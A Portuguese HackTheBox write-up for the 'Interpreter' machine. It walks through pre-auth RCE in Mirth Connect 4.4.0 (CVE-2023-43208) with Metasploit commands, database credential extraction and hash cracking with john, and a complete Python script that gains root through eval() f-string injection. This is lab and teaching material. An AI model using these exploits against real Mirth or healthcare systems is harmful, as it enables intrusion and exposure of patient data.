Avatar oficial da máquina Interpreter no HackTheBox

Interpreter

Platform
HackTheBox
Difficulty
Medium
OS
Linux

Categories Web · Lateral Movement · Privesc

Máquina Linux Medium onde o foothold explora uma desserialização XStream pre-auth no Mirth Connect 4.4.0 (CVE-2023-43208). A partir do service account, credenciais de banco de dados extraem e crackam a hash PBKDF2 do admin, pivotando para o user. A escalação para root abusa de um eval() com f-string injection num script Flask que roda como root.

Recon

Port scan

rustscan -a interpreter.htb -- -sV
PortaServiçoVersão
22/tcpsshOpenSSH 9.2p1 Debian 2+deb12u7
80/tcphttpJetty
443/tcpssl/httpJetty (CN mirth-connect)
6661/tcpunknownMLLP listener (Mirth Connect)

Quatro portas abertas. As duas portas HTTP servem o Mirth Connect Administrator, uma plataforma de integração healthcare da NextGen, e a 6661 é o listener MLLP do próprio Mirth. O certificado SSL tem CN mirth-connect.

Resultado do rustscan mostrando portas 22, 80, 443 e 6661 abertas
Port scan inicial: SSH, duas HTTP (Jetty/Mirth) e o listener MLLP na 6661

Mirth Connect 4.4.0

A API REST expõe a versão sem autenticação. Enviei o GET /api/server/version pelo Burp Repeater — a resposta 4.4.0 (anterior à 4.4.1) torna o alvo vulnerável ao CVE-2023-43208:

curl -sk https://interpreter.htb/api/server/version -H "X-Requested-With: XMLHttpRequest"
Burp Repeater com GET /api/server/version retornando 200 e o corpo 4.4.0
A versão 4.4.0 vem sem autenticação no endpoint /api/server/version (Burp Repeater)

Foothold

O Mirth Connect 4.4.0 é vulnerável ao CVE-2023-43208, uma falha de desserialização XStream no endpoint /api/users que permite execução de código remoto sem autenticação. O exploit envia um payload XML com uma cadeia de gadgets commons-collections4 que invoca Runtime.exec().

O metasploit confirma a vulnerabilidade:

msf> use exploit/multi/http/mirth_connect_cve_2023_43208
msf> set RHOSTS interpreter.htb
msf> set RPORT 443
msf> set SSL true
msf> check

Para uma shell funcional, reescrevi o gadget como um script Python standalone. Como Runtime.exec() não faz shell parsing, o comando é envolvido no truque sh -c $@|sh . echo <cmd>, e o output é exfiltrado por wget (o alvo não tem curl):

python3 exploit.py https://interpreter.htb "id"

Obtive shell como mirth (uid=103), service account do Mirth Connect.

Output do exploit confirmando RCE como uid=103(mirth)
CVE-2023-43208: RCE pre-auth confirmado como o service account mirth

Lateral Movement

Enumeration as mirth

O arquivo de configuração do Mirth Connect em /usr/local/mirthconnect/conf/mirth.properties contém credenciais do banco de dados MariaDB:

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
Trecho de mirth.properties com as credenciais do banco de dados
Credenciais MariaDB em claro no mirth.properties

User hash extraction

O banco de dados mc_bdd_prod contém as tabelas PERSON e PERSON_PASSWORD. O único usuário registrado é sedric:

mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e "SELECT p.USERNAME, pp.PASSWORD FROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID=pp.PERSON_ID;"
Query mysql retornando a hash do usuário sedric
Hash PBKDF2 do sedric extraída via join entre PERSON e PERSON_PASSWORD

Hash analysis and cracking

A descompilação do Digester.class em mirth-crypto.jar confirma o formato: PBKDF2WithHmacSHA256, 600.000 iterações, salt de 8 bytes prepended ao hash de 32 bytes (40 bytes total em base64).

Conversão para o formato do john:

from base64 import b64decode, b64encode

raw = b64decode("u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==")
salt_b64 = b64encode(raw[:8]).decode().replace('+','.').replace('=','')
hash_b64 = b64encode(raw[8:]).decode().replace('+','.').replace('=','')
print(f"$pbkdf2-sha256$600000${salt_b64}${hash_b64}")
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=pbkdf2-hmac-sha256
john quebrando a hash PBKDF2-HMAC-SHA256 do sedric com rockyou.txt
Hash PBKDF2 do sedric quebrada com rockyou.txt — sedric:snowflake1.

Com a password crackeada (snowflake1), acessei via SSH como sedric e obtive a flag de user em /home/sedric/user.txt.

Login SSH como sedric, id e ls -la de user.txt
Acesso SSH como sedric e a flag de user em /home/sedric/user.txt

Privilege Escalation

notif.py analysis

A enumeração revela um processo Python rodando como root:

root  3570  /usr/bin/python3 /usr/local/bin/notif.py

Este script é um servidor Flask que escuta na porta 54321 (localhost only) e recebe XML de pacientes enviado pelo canal Mirth Connect. O arquivo tem permissões rwxr----- root:sedric, legível apenas por sedric.

A vulnerabilidade está na função template():

template = f"Patient {first} {last} ({gender}), ..."
return eval(f"f'''{template}'''")

Os campos do XML são inseridos no template string e depois avaliados com eval() como f-string. A validação por regex (^[a-zA-Z0-9._'"()\{\}=+/]+$) permite os caracteres {, }, (, ), +, . e aspas — suficientes para construir expressões Python arbitrárias.

Source da função template do notif.py com o eval vulnerável
O eval(f'''...''') avalia campos do XML como f-string — injection direto

Exploitation

O payload usa chr() concatenado com + para construir strings com espaços e caracteres especiais, contornando a regex:

import urllib.request, sys

cmd = sys.argv[1]
chr_chain = "+".join(f"chr({ord(c)})" for c in cmd)
payload = "{os.popen(" + chr_chain + ").read()}"

xml = f"""<patient>
  <timestamp>20250919120000</timestamp>
  <sender_app>TEST</sender_app>
  <id>1234</id>
  <firstname>{payload}</firstname>
  <lastname>Doe</lastname>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>"""

req = urllib.request.Request("http://127.0.0.1:54321/addPatient",
    data=xml.encode(), headers={"Content-Type": "text/plain"})
print(urllib.request.urlopen(req).read().decode())
python3 rce.py "id"

O id reflete dentro do registro de paciente que o notif.py formata (Patient uid=0(root) gid=0(root) groups=0(root) Doe (M), 36 years old...), confirmando execução como root. A flag sai em /root/root.txt.

Exploit do notif.py confirmando uid=0(root) e ls -la de root.txt
f-string injection no notif.py: execução como root e a flag em /root/root.txt

Lessons Learned

  • Versão exposta sem auth é o ponto de partida: o endpoint /api/server/version do Mirth entrega a versão pre-auth — confirmar a versão exata antes de escolher o gadget evita disparar payloads errados.
  • Runtime.exec() não é uma shell: gadgets que terminam em Runtime.exec(String) fazem split ingênuo por espaço. O truque sh -c $@|sh . echo <cmd> recupera o parsing de shell e foi o que destravou a exfiltração.
  • Credenciais de serviço levam a hashes de usuário: a senha da base no mirth.properties não dá shell, mas dá a hash PBKDF2 do operador — o pivô real é DB → hash → cracking, não a senha do serviço em si.
  • f-string + eval() = RCE: validar input por allowlist de caracteres não fecha o buraco se a allowlist inclui {, }, (, ) e +chr() reconstrói qualquer string e os já está no namespace do script.

Impact

  • O Mirth Connect roteia dados clínicos entre sistemas hospitalares; o comprometimento sem autenticação expõe diretamente as informações de pacientes (PHI) em trânsito — um vazamento de dados de saúde com notificação obrigatória sob LGPD/HIPAA.
  • Com controle do hub e dos seus fluxos de integração, o atacante pode interceptar, alterar ou interromper mensagens clínicas entre sistemas, afetando a continuidade e a integridade do cuidado ao paciente.
  • O acesso root consolida o domínio sobre uma peça crítica da infraestrutura de saúde, com exposição legal, financeira e reputacional para a organização.

Exploits

Os scripts usados estão em Programming/htb/interpreter:

  • exploit.py — CVE-2023-43208, gadget XStream ChainedTransformerRuntime.exec() (adaptado do módulo Metasploit oficial)
  • rce_exfil.sh — wrapper que executa comando via o foothold e exfiltra o output em base64 por wget
  • rce.py — privesc autoral: f-string injection no notif.py, com chr()+chr() para burlar a regex
  • hash_convert.py — conversão da hash PBKDF2 do Mirth para o formato do john

References

Acta
Medalha de São Bento — Crux Sancti Patris Benedicti